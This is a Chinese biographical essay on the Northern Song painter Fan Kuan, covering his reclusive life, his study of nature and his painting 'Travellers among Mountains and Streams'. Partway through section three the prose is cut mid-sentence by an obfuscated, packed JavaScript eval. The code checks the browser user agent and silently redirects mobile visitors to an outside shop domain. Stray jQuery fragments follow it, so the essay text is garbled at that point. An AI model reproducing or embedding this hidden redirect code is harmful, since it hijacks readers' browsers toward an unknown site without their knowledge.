北宋初年的画坛，画风大多偏向纤巧细碎、柔媚浮华，不少画师作画只会照本宣科、依样画葫芦，笔下山水少了筋骨、缺了气魄，看着【中看不中用、有形没有魂】。就在这样的风气里，一位性情孤傲、醉心山野的画坛高人横空出世。他不爱都市繁华，不喜官场应酬，一辈子扎根山林、亲近自然，以天地为师，以山河为友，一手撑起北方山水的磅礴气象。他就是范宽，字中立，北宋山水画一代宗师，与李成、董源并称“北宋三大家”，位列宋画四圣之首，被后世誉为山水画坛【百代标程】的大宗师。
范宽一生的人物底色，是孤高、沉潜、执着、雄健、求真。最打动人心的，是他看淡功名利禄，懂得【金窝银窝不如自家山野窝】，甘愿隐于山林不问俗事；作画不投机取巧、不追风潮，秉持【慢工出细活、笨功出真章】；落笔雄奇厚重、风骨凛然，把北方大山大水的气魄画到了极致，用一支画笔，定格了华夏山水最雄浑壮阔的模样，这份扎根自然、坚守本心的画者风骨，历经千年依旧无人超越。
一、少年秉□□山野，不恋红尘恋丘壑
五代末年，范宽生于陕西华原，自幼性情就和寻常子弟【大相径庭、格格不入】。别家少年都想着寒窗苦读博取功名，盼着【朝为田舍郎，暮登天子堂】，挤破头往繁华市井、朝堂权贵身边凑；唯独范宽生性疏野、不喜拘束，打小就不爱四书五经的条条框框，反倒对青山绿水情有独钟。
老话说【江山易改，本性难移】，这份钟情山水的性子，自打儿时就刻进了骨子里。他年少时不爱嬉闹游玩，闲来无事就往郊外山野跑，晨起看远山含黛，暮观落日归山，四时烟霞、风雨云雾，都被他看在眼里、记在心中。别人逛街凑热闹，他进山观山河；别人聚谈名利事，他独坐赏云泉，活脱脱一副【世人皆醉我独醒，世人皆忙我独闲】的孤高模样。
早年的范宽也曾游学四方，拜入名家门下学习作画，最初师从李成，悉心临摹古法山水。彼时画坛临摹成风，很多画师一味照搬前人笔墨，【依葫芦画瓢】，只求形似不求神似，靠着模仿就能混口安稳饭。可范宽是个【眼里揉不得沙子、作画容不得虚假】的人，临摹日久，他心里越发通透：作画若是一味拾人牙慧，永远成不了大器，【吃别人嚼过的馍没味道】，唯有走进真山真水，方能画出山水真魂。
他深知【纸上得来终觉浅，绝知此事要躬行】，再好的笔墨技法，脱离了自然实景都是花架子。于是他毅然放下市井的安逸生活，做出了一件让旁人大跌眼镜的决定：隐居山林，师法自然。旁人纷纷议论，说他【放着阳关道不走，偏闯独木桥】，好好的前程不要，偏去深山老林吃苦受罪，实在愚笨至极。
任凭旁人闲言碎语，范宽一概左耳进右耳出，秉持【走自己的路，让别人说去吧】，收拾行囊远赴终南山、太华山深处隐居。从此远离了市井的车水马龙、人情纷扰，日日与奇峰幽谷、松涛飞瀑为伴，朝看晨雾漫山，晚赏星月笼峦，风雨晴雪、四时变幻，无一不是他作画的素材。
二、隐居山林悟真趣，笔耕不辍炼真功
进山容易守山难，深山之中日子清苦单调，【三餐粗茶淡饭，四季风餐露宿】，没有锦衣玉食，没有亲朋相伴，寻常人待不了几日就会【打退堂鼓、半途而废】，可范宽一隐就是大半辈子，半点不曾动摇。
他每日清晨便起身，登高望远，静观山川走势、岩石肌理，细看松柏姿态、溪流动静，把北方山川那种顶天立地、雄浑厚重的气魄，一点点刻进脑海。整日危坐山林，目不转睛观察云雾流转，揣摩阴晴变化，做到【心中有丘壑，下笔自有神】。待到灵感来袭，即刻铺纸研墨，将眼前山水诉诸笔端。
练画的日子里，他深谙【冰冻三尺非一日之寒，笔墨精进非一日之功】的道理，作画从不急功近利、潦草应付。一笔皴擦、一点晕染，都反复琢磨、再三调整，画得不如意便撕了重画，从不将就凑合。寒冬腊月【冬练三九】，手冻得通红僵硬，依旧握笔不辍；三伏盛夏【夏练三伏】，满身汗湿衣衫，依旧潜心作画，半点不含糊。
民间常有关于范宽作画的趣闻，他在山中作画，常常废寝忘食，有时候盯着一座大山能呆呆看上一整天，旁人以为他痴傻入魔，实则他在用心感悟山水风骨；有时候作画到兴头上，【饭忘了吃、觉忘了睡】，一心扑在笔墨之间，不达满意绝不收笔。他作画不追求小巧玲珑、浮华艳丽，独爱大山横亘、群峰巍峨，认准了北方山水雄奇为本、厚重为魂，一辈子【咬定青山不放松】。
昔日画坛多偏爱玲珑浅淡之景，唯有范宽剑走偏锋，专绘崇山峻岭、深谷幽壑，落笔沉稳老辣、皴法苍劲有力。他摒弃浮华雕琢，追求浑然天成，明白作画和做人一个道理，【宁要朴实真风骨，不做虚浮花架子】，外表越是朴素，内里越是雄浑，方能传之久远。
常年的山林隐居，让他彻底吃透了山水神韵，摆脱了古法临摹的桎梏，跳出了世俗画风的局限，笔墨功力一日千里，渐渐形成了独属于自己雄奇峻厚、大气磅礴的独家画风。
三、雄笔绘尽山河壮，溪山行旅定巅峰
半生沉潜，一朝成名，范宽凭借独树一帜的北方山水画风，在北宋画坛站稳脚跟，凭实力打破了画坛柔靡的风气，让世人见识到北方山水【气吞山河、雄视八方】的独特魅力。
他笔下的山水，主打一个稳重二字，主峰堂堂正正、顶天立地，有泰山之沉稳、华山之雄峻，真正做到了【画中有骨、笔墨有魂】。山石皴擦厚重扎实，林木苍劲挺拔，飞瀑直下三千尺，云雾缭绕万千重，构图大开大合、疏密得当，善用以小衬大、以静制动的手法，寥寥行旅小人，反衬出山势巍峨浩渺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17904233|209670||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，看得人心胸开阔、荡气回肠。
倾尽毕生心血打磨的传世神作《溪山行旅图》，更是一举封神，成为中国山水画史上【前无古人、后难来者】的巅峰之作。整幅画作没有一丝矫揉造作，全是自然本真、山河雄魂，巍峨主峰拔地而起，绝壁危岩硬朗雄健，山间飞瀑倾泻如练，林下旅人步履匆匆，动静相生、虚实相映，笔墨老辣纯熟，意境苍茫悠远，把北方山水的雄浑壮阔展现得淋漓尽致。
这幅画作一出，立马轰动朝野，行家看了连连称绝，百姓看了过目难忘。彼时画坛人人都说，范宽之画，【一眼见山河，再眼见风骨】，旁人作画画的是山水外形，范宽作画画的是山河气魄；旁人作画只求赏心悦目，范宽作画方能震撼人心。
他独创的山水皴法，笔墨沉厚、质感极强，把山石的坚硬粗粝刻画得入木三分，后世画师争相效仿，却大多【形似而神不似】，只能学其皮毛，难悟其精髓。只因旁人没有他半生隐居山林的沉淀，没有他甘于寂寞的本心，更没有他偏爱雄奇、坚守厚重的人格底色。
四、画风开宗立一派，千古流芳塑画魂
范宽为人孤高自持，一生不求高官厚禄，不贪浮世虚名，深谙【钱财身外物，风骨值千金】的道理。纵使画名满天下，达官贵人争相重金求画，他也从不刻意逢迎、刻意讨好，作画全凭本心、全凭意趣，合心意者欣然落笔，不合心意者千金难换。
他一辈子守着笔墨山河，耐得住寂寞、守得住本心，不随波逐流、不盲从时风，在人人追逐浮华巧媚的年代，守住了山水的雄浑，守住了画者的初心，也守住了文人的风骨。老话说【人有风骨，艺有灵魂】，范宽正是用做人的风骨，撑起了作画的灵魂。
他开创的北方雄奇山水画风，自成一派、开宗立派，影响绵延数百年，后世无数山水画家皆以他为师、以他为范。无论是宋代院体山水，还是元明文人山水，都能看到范宽笔墨的影子，他当之无愧是北方山水画的【开山立派之宗师】。
岁月无情，人世更迭，当年北宋画坛的众多画师早已【湮没无闻、化作云烟】，唯有范宽的画作跨越千年时光，依旧熠熠生辉。他笔下的山河不曾褪色，他的笔墨风骨不曾过时，他师法自然、甘于沉潜、守正求真的艺术精神，更是代代相传。
做人，他安于清苦、不慕浮华，守得住本心；作画，他扎根自然、不拘古法，立得住风骨。世间万事皆逃不过【一分耕耘，一分收获】，范宽用半生隐居换笔墨大成，用一生坚守塑山水雄魂，让后世之人永远记得，华夏山水，自有这般顶天立地、雄奇峻厚的盖世风华。
范宽以笔为舟，以墨为桨，畅游山河万里；以孤高为骨，以沉潜为魂，成就画坛传奇。这份藏在笔墨里的山河气魄、刻在骨子里的坚守初心，穿越千年风雨依旧震撼人心，永为后世敬仰。